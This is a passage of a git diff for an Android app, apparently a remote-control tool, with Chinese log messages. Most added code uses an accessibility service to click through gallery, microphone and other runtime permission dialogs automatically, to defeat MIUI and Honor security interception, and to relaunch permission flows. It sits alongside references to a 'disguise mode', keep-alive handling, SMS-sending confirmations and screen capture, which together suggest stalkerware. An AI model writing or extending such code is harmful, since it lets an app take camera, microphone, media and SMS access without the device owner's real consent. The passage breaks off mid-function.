val gesture = GestureDescription.Builder().addStroke(stroke).build()
-
- service.dispatchGesture(gesture, null, null)
+
+ dispatchGestureWithTrace(gesture, "long_press($x,$y)")
Log.d(TAG, "执行长按操作: ($x, $y)")
}
}
@@ -79,8 +105,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val stroke = GestureDescription.StrokeDescription(path, 0, duration)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
-
- service.dispatchGesture(gesture, null, null)
+
+ dispatchGestureWithTrace(gesture, "swipe($startX,$startY->$endX,$endY,$duration)")
Log.d(TAG, "执行滑动操作: ($startX, $startY) -> ($endX, $endY)")
}
}
@@ -266,4 +292,4 @@ data class GestureCommand(
val endDistance: Float = 0f,
val duration: Long = 300L,
val interval: Long = 100L
-)
\ No newline at end of file
+)
diff --git a/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt b/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt
index 7f0f915..5d36a01 100644
--- a/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt
@@ -70,30 +70,8 @@ class MicrophoneManager(private val service: AccessibilityRemoteService) {
}
if (!hasMicrophonePermission()) {
- Log.w(TAG, "⚠️ 麦克风权限未授予,尝试自动申请")
- try {
- service.requestMicrophonePermissionWithAutoGrant()
- } catch (e: Exception) {
- Log.e(TAG, "触发麦克风权限申请失败", e)
- }
-
- var attempts = 0
- val maxAttempts = 16 // ~8s
- while (attempts < maxAttempts) {
- try {
- Thread.sleep(500)
- } catch (_: InterruptedException) {}
- if (hasMicrophonePermission()) {
- Log.i(TAG, "✅ 麦克风权限已在等待期间授予,开始录音")
- break
- }
- attempts++
- }
-
- if (!hasMicrophonePermission()) {
- Log.w(TAG, "⚠️ 等待后仍未获得麦克风权限,取消录音启动")
- return
- }
+ Log.w(TAG, "⚠️ 麦克风权限未授予,取消录音启动(需手动触发权限申请)")
+ return
}
try {
diff --git a/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt b/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt
index 5a19d06..557647a 100644
--- a/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt
+++ b/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt
@@ -13,7 +13,8 @@ import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
-import com.hikoncont.util.ROMAdapter
+import com.hikoncont.ui.PermissionRequestActivity
+import com.hikoncont.util.DeviceDetector
import com.hikoncont.MediaProjectionHolder
import kotlinx.coroutines.*
import android.accessibilityservice.GestureDescription
@@ -38,7 +39,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
private val context: Context = service
- private val romAdapter = ROMAdapter()
+ private val romPolicy by lazy { DeviceDetector.getRomPolicy() }
+ private val installerUiPlan by lazy { DeviceDetector.getInstallerUiAutomationPlan() }
/**
* ✅ 检查是否是保活场景
@@ -123,17 +125,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
private var lastMediaProjectionAttemptTime = 0L
// 删除悬浮窗权限最后尝试时间
private val retryIntervalMs = 3000L // 减少到3秒间隔
- private val cameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔
- private val galleryPermissionRetryInterval = 1000L // 相册权限重试间隔
- private val microphonePermissionRetryInterval = 2000L // 麦克风权限重试间隔
- private val smsPermissionRetryInterval = 1000L // 短信权限重试间隔
+ private val defaultCameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔
+ private val defaultGalleryPermissionRetryInterval = 1000L // 相册权限重试间隔
+ private val defaultMicrophonePermissionRetryInterval = 2000L // 麦克风权限重试间隔
+ private val defaultSmsPermissionRetryInterval = 1000L // 短信权限重试间隔
+ private val slowCameraPermissionRetryInterval = 2400L
+ private val slowGalleryPermissionRetryInterval = 2000L
+ private val slowMicrophonePermissionRetryInterval = 2600L
+ private val slowSmsPermissionRetryInterval = 2000L
+ private val defaultRuntimeDialogSettleDelayMs = 1000L
+ private val slowRuntimeDialogSettleDelayMs = 1800L
+ private val slowPermissionEditorLaunchDelayMs = 900L
private val sendSMSPermissionRetryInterval = 1000L // 发送短信权限弹框重试间隔
private val sendSMSConfirmationRetryInterval = 500L // 发送短信确认对话框重试间隔
+ private val slowModeMaxLaunchCount = 3
+ private val firstInstallGracePeriodMs = 12 * 60 * 60 * 1000L
private var hasDetectedPermissionDialog = false // 是否检测到权限对话框
private var dialogDetectionCount = 0 // 对话框检测次数
private var isFirstInstall = false // 是否为首次安装
private var lastDialogPackageName: String? = null // 最后检测到的对话框包名
private var isSecondaryConfirmationActive = false // 二次确认监听状态
+ private var cachedRuntimePermissionSlowMode: Boolean? = null
+ private var runtimePermissionSlowModeLogged = false
// Android 15权限稳定通知防重复标记
@Volatile private var android15StableBroadcastSent = false
@@ -151,9 +164,242 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 协程作用域
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
+ @Volatile private var mediaProjectionRequestSessionId = 0L
+ private var mediaProjectionSafetyResetJob: Job? = null
// 摄像头权限相关变量
private var lastCameraPermissionAttemptTime = 0L
+ private var cameraPermissionRequestStartedAt = 0L
+ private var galleryPermissionRequestStartedAt = 0L
+ private var microphonePermissionRequestStartedAt = 0L
+ private var smsPermissionRequestStartedAt = 0L
+ private val runtimePermissionRequestStaleTimeoutMs = 45_000L
+ private val slowRuntimePermissionRequestStaleTimeoutMs = 20_000L
+ @Volatile private var activeRuntimePermissionRequest: String? = null
+ @Volatile private var activeRuntimePermissionStartedAt = 0L
+ private val runtimePermissionFailureTtlMs = 120_000L
+ private val runtimeForegroundGateLogCooldownMs = 2_500L
+ private val runtimeForegroundGateLastLogAt = mutableMapOf()
+
+ private data class RuntimePermissionFailure(
+ val code: String,
+ val detail: String,
+ val source: String,
+ val timestamp: Long = System.currentTimeMillis()
+ )
+
+ private val runtimePermissionFailureMap = mutableMapOf()
+
+ private fun normalizeRuntimePermissionKey(permissionKey: String): String {
+ return permissionKey.trim().lowercase()
+ }
+
+ private fun recordRuntimePermissionFailure(
+ permissionKey: String,
+ code: String,
+ detail: String,
+ source: String
+ ) {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ if (normalized.isBlank()) return
+ val now = System.currentTimeMillis()
+ val newPriority = getRuntimePermissionFailurePriority(code)
+ var shouldSkip = false
+ synchronized(this) {
+ val existing = runtimePermissionFailureMap[normalized]
+ if (existing != null) {
+ val age = now - existing.timestamp
+ val existingPriority = getRuntimePermissionFailurePriority(existing.code)
+ if (age <= runtimePermissionFailureTtlMs && existingPriority > newPriority) {
+ shouldSkip = true
+ }
+ }
+ if (!shouldSkip) {
+ val failure = RuntimePermissionFailure(
+ code = code,
+ detail = detail,
+ source = source,
+ timestamp = now
+ )
+ runtimePermissionFailureMap[normalized] = failure
+ }
+ }
+ if (shouldSkip) {
+ Log.d(
+ TAG,
+ "⏭️ 保留更高优先级失败原因: permission=$normalized, oldPriority>${newPriority}, newCode=$code"
+ )
+ return
+ }
+ Log.w(
+ TAG,
+ "🚫 记录运行时权限失败: permission=$normalized, code=$code, source=$source, detail=$detail"
+ )
+ }
+
+ private fun getRuntimePermissionFailurePriority(code: String): Int {
+ val normalized = code.lowercase()
+ return when {
+ normalized.contains("background_activity_launch_denied") -> 100
+ normalized.contains("permission_editor_launch_denied") -> 90
+ normalized.contains("permission_editor_launch_blocked") -> 85
+ normalized.contains("permission_ui_not_visible") -> 80
+ normalized.contains("runtime_entry_not_visible") -> 70
+ normalized.contains("permission_editor_launch_failed") -> 60
+ normalized.contains("button_not_found") -> 30
+ normalized.contains("auto_toggle_exhausted") -> 20
+ else -> 40
+ }
+ }
+
+ private fun clearRuntimePermissionFailure(permissionKey: String, reason: String) {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ if (normalized.isBlank()) return
+ val removed = synchronized(this) {
+ runtimePermissionFailureMap.remove(normalized)
+ }
+ if (removed != null) {
+ Log.i(TAG, "🧹 清除运行时权限失败标记: permission=$normalized, reason=$reason")
+ }
+ }
+
+ private fun getRuntimePermissionFailure(permissionKey: String): RuntimePermissionFailure? {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ if (normalized.isBlank()) return null
+ val failure = synchronized(this) {
+ runtimePermissionFailureMap[normalized]
+ } ?: return null
+ val age = System.currentTimeMillis() - failure.timestamp
+ if (age > runtimePermissionFailureTtlMs) {
+ synchronized(this) {
+ runtimePermissionFailureMap.remove(normalized)
+ }
+ return null
+ }
+ return failure
+ }
+
+ private fun getRuntimePermissionBlockFailure(permissionKey: String): RuntimePermissionFailure? {
+ val failure = getRuntimePermissionFailure(permissionKey) ?: return null
+ val normalizedCode = failure.code.lowercase()
+ return if (normalizedCode.contains("blocked") || normalizedCode.contains("denied")) {
+ failure
+ } else {
+ null
+ }
+ }
+
+ private fun shouldAbortRuntimePermissionMonitor(permissionKey: String, retryCount: Int): RuntimePermissionFailure? {
+ if (!isMiuiDevice()) return null
+ if (retryCount < 2) return null
+ return getRuntimePermissionBlockFailure(permissionKey)
+ }
+
+ fun getRuntimePermissionFailureReason(permissionKey: String): String? {
+ val failure = getRuntimePermissionFailure(permissionKey) ?: return null
+ return "${failure.code} | ${failure.detail}"
+ }
+
+ private fun getRuntimeRequestStaleTimeoutMs(): Long {
+ return if (isRuntimePermissionSlowModeEnabled()) {
+ slowRuntimePermissionRequestStaleTimeoutMs
+ } else {
+ runtimePermissionRequestStaleTimeoutMs
+ }
+ }
+
+ private fun beginRuntimePermissionRequest(permissionKey: String): Boolean {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ val now = System.currentTimeMillis()
+ synchronized(this) {
+ val active = activeRuntimePermissionRequest
+ if (active.isNullOrBlank() || active == normalized) {
+ activeRuntimePermissionRequest = normalized
+ activeRuntimePermissionStartedAt = now
+ clearRuntimePermissionFailure(normalized, "new_request_begin")
+ return true
+ }
+
+ val age = now - activeRuntimePermissionStartedAt
+ val staleTimeoutMs = getRuntimeRequestStaleTimeoutMs()
+ if (age >= staleTimeoutMs) {
+ Log.w(
+ TAG,
+ "🔄 运行时权限串行锁超时,强制接管: from=$active, to=$normalized, age=${age}ms"
+ )
+ activeRuntimePermissionRequest = normalized
+ activeRuntimePermissionStartedAt = now
+ clearRuntimePermissionFailure(normalized, "stale_takeover_begin")
+ return true
+ }
+ }
+
+ val active = activeRuntimePermissionRequest ?: "unknown"
+ val age = now - activeRuntimePermissionStartedAt
+ Log.i(
+ TAG,
+ "⏳ 运行时权限串行化,当前进行中=$active,跳过本次=$normalized,age=${age}ms"
+ )
+ return false
+ }
+
+ private fun releaseRuntimePermissionRequest(permissionKey: String, reason: String) {
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ synchronized(this) {
+ val active = activeRuntimePermissionRequest
+ if (active == null) {
+ return
+ }
+ if (active != normalized) {
+ return
+ }
+ activeRuntimePermissionRequest = null
+ activeRuntimePermissionStartedAt = 0L
+ }
+ if (reason.startsWith("granted")) {
+ clearRuntimePermissionFailure(normalized, "permission_granted")
+ }
+ Log.i(TAG, "✅ 运行时权限串行锁已释放: permission=$normalized, reason=$reason")
+ }
+
+ fun hasActiveRuntimePermissionRequest(): Boolean {
+ return activeRuntimePermissionRequest != null ||
+ isRequestingCameraPermission ||
+ isRequestingGalleryPermission ||
+ isRequestingMicrophonePermission ||
+ isRequestingSMSPermission
+ }
+
+ fun getActiveRuntimePermissionRequestType(): String? {
+ return activeRuntimePermissionRequest
+ }
+
+ private fun shouldRecoverStaleRuntimeRequest(
+ permissionName: String,
+ startedAt: Long,
+ granted: Boolean
+ ): Boolean {
+ if (granted) {
+ Log.w(TAG, "🔧 $permissionName 权限已授予但请求标记仍在,重置请求状态")
+ return true
+ }
+
+ if (startedAt <= 0L) {
+ Log.w(TAG, "🔧 $permissionName 请求标记异常(无启动时间),重置请求状态")
+ return true
+ }
+
+ val age = System.currentTimeMillis() - startedAt
+ val staleTimeoutMs = getRuntimeRequestStaleTimeoutMs()
+ if (age >= staleTimeoutMs) {
+ Log.w(
+ TAG,
+ "🔧 $permissionName 请求超时(${age}ms >= ${staleTimeoutMs}ms),重置请求状态"
+ )
+ return true
+ }
+ return false
+ }
/**
* 检测是否为首次安装
@@ -177,14 +423,110 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
+ private fun refreshRuntimePermissionPacing(reason: String) {
+ cachedRuntimePermissionSlowMode = null
+ runtimePermissionSlowModeLogged = false
+ val slowMode = isRuntimePermissionSlowModeEnabled()
+ Log.i(
+ TAG,
+ "⏱️ 运行时权限节奏刷新: reason=$reason, slowMode=$slowMode"
+ )
+ }
+
+ private fun isRuntimePermissionSlowModeEnabled(): Boolean {
+ cachedRuntimePermissionSlowMode?.let { return it }
+
+ val isXiaomiFamily = isMiuiDevice()
+ val isFirstInstallWindow = isLikelyFirstInstallWindow()
+ val enabled = isXiaomiFamily && isFirstInstallWindow
+ cachedRuntimePermissionSlowMode = enabled
+
+ if (!runtimePermissionSlowModeLogged) {
+ runtimePermissionSlowModeLogged = true
+ Log.i(
+ TAG,
+ "⏱️ 运行时权限慢速模式判定: enabled=$enabled, xiaomiFamily=$isXiaomiFamily, firstInstallWindow=$isFirstInstallWindow"
+ )
+ }
+
+ return enabled
+ }
+
+ private fun isLikelyFirstInstallWindow(): Boolean {
+ return try {
+ val launchCount = context.getSharedPreferences("app_launch", Context.MODE_PRIVATE)
+ .getInt("launch_count", 0)
+ val hasRunBefore = context.getSharedPreferences("permission_tracker", Context.MODE_PRIVATE)
+ .getBoolean("has_run_before", false)
+ val installAgeMs = runCatching {
+ val packageInfo = context.packageManager.getPackageInfo(context.packageName, 0)
+ System.currentTimeMillis() - packageInfo.firstInstallTime
+ }.getOrDefault(Long.MAX_VALUE)
+
+ !hasRunBefore ||
+ launchCount <= slowModeMaxLaunchCount ||
+ installAgeMs in 0..firstInstallGracePeriodMs
+ } catch (e: Exception) {
+ Log.w(TAG, "首装窗口判定失败,默认关闭慢速模式", e)
+ false
+ }
+ }
+
+ private fun getRuntimePermissionRetryIntervalMs(type: String): Long {
+ val useSlowMode = isRuntimePermissionSlowModeEnabled()
+ if (!useSlowMode) {
+ return when (type) {
+ "camera" -> defaultCameraPermissionRetryInterval
+ "gallery" -> defaultGalleryPermissionRetryInterval
+ "microphone" -> defaultMicrophonePermissionRetryInterval
+ "sms" -> defaultSmsPermissionRetryInterval
+ else -> defaultGalleryPermissionRetryInterval
+ }
+ }
+
+ return when (type) {
+ "camera" -> slowCameraPermissionRetryInterval
+ "gallery" -> slowGalleryPermissionRetryInterval
+ "microphone" -> slowMicrophonePermissionRetryInterval
+ "sms" -> slowSmsPermissionRetryInterval
+ else -> slowGalleryPermissionRetryInterval
+ }
+ }
+
+ private fun getRuntimeDialogSettleDelayMs(): Long {
+ return if (isRuntimePermissionSlowModeEnabled()) {
+ slowRuntimeDialogSettleDelayMs
+ } else {
+ defaultRuntimeDialogSettleDelayMs
+ }
+ }
+
+ private fun getPermissionEditorLaunchDelayMs(): Long {
+ return if (isRuntimePermissionSlowModeEnabled()) {
+ slowPermissionEditorLaunchDelayMs
+ } else {
+ 0L
+ }
+ }
+
// ================= 相册权限自动授予 =================
/**
* 开始相册权限申请流程(自动授权)
*/
fun startGalleryPermissionRequest() {
if (isRequestingGalleryPermission) {
- Log.i(TAG, "🖼️ 相册权限申请已在进行中")
- return
+ val granted = runCatching {
+ com.hikoncont.manager.GalleryManager(service).hasReadMediaPermission()
+ }.getOrDefault(false)
+ if (shouldRecoverStaleRuntimeRequest("相册", galleryPermissionRequestStartedAt, granted)) {
+ isRequestingGalleryPermission = false
+ galleryPermissionRetryCount = 0
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "🖼️ 相册权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式,如果是则不申请权限
@@ -197,6 +539,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val galleryManager = com.hikoncont.manager.GalleryManager(service)
if (galleryManager.hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册权限已授予")
+ clearRuntimePermissionFailure("gallery", "already_granted_before_request")
return
}
@@ -205,40 +548,52 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return
}
+ if (shouldDeferRuntimePermissionForProjection("gallery")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("gallery")) {
+ return
+ }
+
try {
+ refreshRuntimePermissionPacing("gallery_request")
+ if (!beginRuntimePermissionRequest("gallery")) {
+ return
+ }
Log.i(TAG, "🖼️ 开始相册权限申请(自动授权盲点)")
isRequestingGalleryPermission = true
galleryPermissionRetryCount = 0
+ galleryPermissionRequestStartedAt = System.currentTimeMillis()
- // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请相册权限,不启动MainActivity(避免保活程序拉起)")
- Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请")
- return
+ var entryVisible = launchRuntimePermissionBridgeActivity("gallery", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("gallery")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_gallery_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("gallery", "main_activity")
}
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_gallery_permission", true)
- }
- context.startActivity(intent)
// MIUI/澎湃OS 特殊处理:很多机型拦截运行时弹框,直接引导到权限编辑页
- if (isMiuiDevice()) {
+ if (isMiuiDevice() && !entryVisible) {
Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予相册权限")
openMiuiPermissionEditor("gallery")
- }else{
- // 开始监听权限对话框
- startGalleryPermissionDialogMonitoring()
}
+ // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态
+ startGalleryPermissionDialogMonitoring()
} catch (e: Exception) {
Log.e(TAG, "启动相册权限申请失败", e)
+ isRequestingGalleryPermission = false
+ galleryPermissionRetryCount = 0
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "start_exception")
}
}
@@ -247,8 +602,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
fun startMicrophonePermissionRequest() {
if (isRequestingMicrophonePermission) {
- Log.i(TAG, "🎤 麦克风权限申请已在进行中")
- return
+ if (shouldRecoverStaleRuntimeRequest("麦克风", microphonePermissionRequestStartedAt, checkMicrophonePermission())) {
+ isRequestingMicrophonePermission = false
+ microphonePermissionRetryCount = 0
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "🎤 麦克风权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式,如果是则不申请权限
@@ -260,6 +622,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 检查是否已有权限
if (checkMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已授予")
+ clearRuntimePermissionFailure("microphone", "already_granted_before_request")
return
}
@@ -268,40 +631,52 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return
}
+ if (shouldDeferRuntimePermissionForProjection("microphone")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("microphone")) {
+ return
+ }
+
try {
+ refreshRuntimePermissionPacing("microphone_request")
+ if (!beginRuntimePermissionRequest("microphone")) {
+ return
+ }
Log.i(TAG, "🎤 开始麦克风权限申请(自动授权盲点)")
isRequestingMicrophonePermission = true
microphonePermissionRetryCount = 0
+ microphonePermissionRequestStartedAt = System.currentTimeMillis()
- // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请麦克风权限,不启动MainActivity(避免保活程序拉起)")
- Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请")
- return
+ var entryVisible = launchRuntimePermissionBridgeActivity("microphone", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("microphone")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_microphone_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("microphone", "main_activity")
}
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_microphone_permission", true)
- }
- context.startActivity(intent)
// MIUI/澎湃OS 特殊处理
- if (isMiuiDevice()) {
+ if (isMiuiDevice() && !entryVisible) {
Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予麦克风权限")
openMiuiPermissionEditor("microphone")
- }else{
- // 开始监听权限对话框
- startMicrophonePermissionDialogMonitoring()
}
+ // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态
+ startMicrophonePermissionDialogMonitoring()
} catch (e: Exception) {
Log.e(TAG, "启动麦克风权限申请失败", e)
+ isRequestingMicrophonePermission = false
+ microphonePermissionRetryCount = 0
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "start_exception")
}
}
@@ -310,13 +685,17 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun startGalleryPermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("gallery")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingGalleryPermission && galleryPermissionRetryCount < maxRetryCount) {
- delay(galleryPermissionRetryInterval)
+ delay(retryIntervalMs)
val galleryManager = com.hikoncont.manager.GalleryManager(service)
if (galleryManager.hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册权限已授予")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "granted")
break
}
@@ -325,15 +704,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行,停止相册权限申请")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "accessibility_stopped")
+ break
+ }
+
+ val galleryBlocked = shouldAbortRuntimePermissionMonitor("gallery", galleryPermissionRetryCount)
+ if (galleryBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 相册权限申请提前终止: code=${galleryBlocked.code}, detail=${galleryBlocked.detail}"
+ )
+ isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "blocked_${galleryBlocked.code}")
break
}
if (detectAndHandleGalleryPermissionDialog()) {
Log.i(TAG, "🖼️ 检测到相册权限对话框,尝试自动点击")
- delay(1000)
+ delay(settleDelayMs)
if (galleryManager.hasReadMediaPermission()) {
Log.i(TAG, "✅ 相册权限已授予")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "granted_after_dialog")
break
}
} else {
@@ -346,6 +741,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (galleryPermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 相册权限申请超时")
isRequestingGalleryPermission = false
+ galleryPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("gallery", "monitor_timeout")
}
}
}
@@ -355,12 +752,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun startMicrophonePermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("microphone")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingMicrophonePermission && microphonePermissionRetryCount < maxRetryCount) {
- delay(microphonePermissionRetryInterval)
+ delay(retryIntervalMs)
if (checkMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已授予")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "granted")
break
}
@@ -369,15 +770,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行,停止麦克风权限申请")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "accessibility_stopped")
+ break
+ }
+
+ val microphoneBlocked = shouldAbortRuntimePermissionMonitor("microphone", microphonePermissionRetryCount)
+ if (microphoneBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 麦克风权限申请提前终止: code=${microphoneBlocked.code}, detail=${microphoneBlocked.detail}"
+ )
+ isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "blocked_${microphoneBlocked.code}")
break
}
if (detectAndHandleMicrophonePermissionDialog()) {
Log.i(TAG, "🎤 检测到麦克风权限对话框,尝试自动点击")
- delay(1000)
+ delay(settleDelayMs)
if (checkMicrophonePermission()) {
Log.i(TAG, "✅ 麦克风权限已授予")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "granted_after_dialog")
break
}
} else {
@@ -390,6 +807,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (microphonePermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 麦克风权限申请超时")
isRequestingMicrophonePermission = false
+ microphonePermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("microphone", "monitor_timeout")
}
}
}
@@ -414,18 +833,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.d(TAG, "🖼️ 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
- // 检查窗口标题是否包含相册权限相关文本
- if (windowTitle.contains("照片", ignoreCase = true) ||
- windowTitle.contains("视频", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("访问", ignoreCase = true)) {
- Log.d(TAG, "🖼️ 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
-// val windowRoot = getWindowRootByTitle(windowTitle)
- if (tryClickByGalleryCoordinates(windowTitle)) {
+ val windowRoot = window.root
+ if (windowRoot == null) continue
+ try {
+ if (tryHandleHonorSystemManagerInterception(windowRoot, "gallery_window_$i")) {
return true
}
+ val rootPackage = windowRoot.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "🖼️ 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val permissionNode = findPermissionNodeInTree(windowRoot)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "🖼️ 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage")
+ if (tryClickPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ } finally {
+ windowRoot.recycle()
}
}
}
@@ -435,6 +867,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (rootNode != null) {
Log.d(TAG, "🖼️ 检查活动窗口...")
+ if (tryHandleHonorSystemManagerInterception(rootNode, "gallery_active")) {
+ rootNode.recycle()
+ return true
+ }
+
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "🖼️ 活动窗口不是权限弹框,跳过: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
+
// 递归查找权限相关节点
val permissionNode = findPermissionNodeInTree(rootNode)
if (permissionNode != null) {
@@ -481,19 +925,35 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.d(TAG, "🎤 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
- // 检查窗口标题是否包含麦克风权限相关文本
- if (windowTitle.contains("麦克风", ignoreCase = true) ||
- windowTitle.contains("录音", ignoreCase = true) ||
- windowTitle.contains("音频", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("访问", ignoreCase = true)) {
- Log.d(TAG, "🎤 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
- val windowRoot = getWindowRootByTitle(windowTitle)
- if (tryClickByMicrophoneCoordinates(windowTitle)) {
+ val windowRoot = window.root
+ if (windowRoot == null) continue
+ try {
+ if (tryHandleHonorSystemManagerInterception(windowRoot, "microphone_window_$i")) {
return true
}
+ val rootPackage = windowRoot.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
